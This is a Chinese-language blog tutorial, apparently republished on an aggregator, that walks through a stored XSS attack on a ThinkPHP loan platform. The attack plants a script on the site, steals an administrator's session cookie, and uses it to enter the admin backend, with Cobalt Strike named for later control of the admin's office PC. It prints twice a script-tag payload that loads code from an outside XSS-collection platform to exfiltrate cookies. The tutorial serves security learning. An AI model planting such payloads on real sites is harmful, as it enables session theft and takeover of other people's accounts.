kali linux全部功能教程 kali渗透测试技术实战

文章插图

简介请注意：
本文仅用于技术讨论与研究，对于所有笔记中复现的这些终端或者服务器，都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的，如果列出的技术用于其他任何目标，本站及作者概不负责。
名言：
你对这行的兴趣，决定你在这行的成就！
2021最新整理网络安全渗透测试/安全学习（全套视频、大厂面经、精品手册、必备工具包）一>关注我，私信回复“资料”获取<一
一、前言网络钓鱼是社会工程学攻击方式之一，主要是通过对受害者心理弱点、本能反应、好奇心、信任、贪婪等心理陷阱进行诸如欺骗、伤害等危害手段！
网络钓鱼攻击是个人和公司在保护其信息安全方面面临的最常见的安全挑战之一。无论是获取密码等，还是其他敏感信息，黑客都在使用电子邮件、社交媒体、电话和任何可能的通信方式窃取有价值的数据。
网络钓鱼攻击的兴起对所有组织都构成了重大威胁。重要的是，如果他们要保护自己的信息，所有组织都应该知道如何发现一些最常见的网络钓鱼骗局。同样还要熟悉攻击者用来实施这些骗局的一些最常见的技术类型。
这篇主要演示如何利用XSS植入钓鱼，获得管理员内部电脑权限！
二、环境介绍黑客（攻击者）：
IP：192.168.1.9
系统：kali.2020.4
kali上作为cs的服务端！
VPS服务器：
thinkphp平台地址：
http://test1.dayuixiyou.cn/
钓鱼地址：
http://flash.dayuixiyou.cn
办公电脑：
系统：windwos7
双网卡：
192.168.175.153
10.10.1.5
目前kali上运行了Cobalt strike ，攻击者在自己的公网VPS服务器上制作了后门页面钓鱼，通过渗透发现thinkphp贷款平台页面存在XSS漏洞利用，通过插入XSS-js代码，植入链接，最终黑客控制管理员办公电脑的过程！！
三、XSS演示此次演示贷款thinkphp平台在公网服务器上！
1、注册账号密码进入个人中心！
注册用户名密码！
登录用户名密码后，普通用户界面！点击设置！
输入结算信息，测试下！
2、存在XSS漏洞输入：
测试结果修改成功！查看下前端…
查看源代码-编辑后查看到没变动，XSS代码还是存在…说明存在XSS攻击
3、注册XSS平台 https://xss.pt/xss.php?do=login进入XSS利用平台，google也有很多别的平台！！随意注册一个账号！

创建一个新的项目，随意填写！
选择Keepsession保持会话！
下一步！
会弹出需要执行的XSS利用代码…选择标准代码测试！
</tExtArEa>’”><sCRiPt sRC=https://xss.pt..aJ></sCrIpT>
4、利用XSS漏洞</tExtArEa>’”><sCRiPt sRC=https://xss.pt/..aJ></sCrIpT>
这一段就是payload！将XSS连接信息返回到https://xss.pt平台上！
提交信息后，可看到网络net中XSS执行成功了…
执行成功，那么XSS平台就收到了信息，可看到！
5、获取管理员cookie点击提现…
申请结算，成功后，会将XSS执行代码转发到后台结算该模块中！
当后台管理员访问管理界面，给客户结算资金的时候，点击提现申请模块！就会执行XSS植入的代码！！
这时候，就返回了管理员的cookie和URL信息！
6、cookie登录后台目录扫描获得管理后台登录页面，通过Burp suite转包拦截后！
将XSS平台获取XSS漏洞植入代码返回的包中，修改其中的url和cookie信息！
send执行后，通过cookie进入到了管理员后台！

以上关于本文的内容，仅作参考！温馨提示：如遇健康、疾病相关的问题，请您及时就医或请专业人士给予相关指导!

「四川龙网」www.sichuanlong.com小编还为您精选了以下内容，希望对您有所帮助：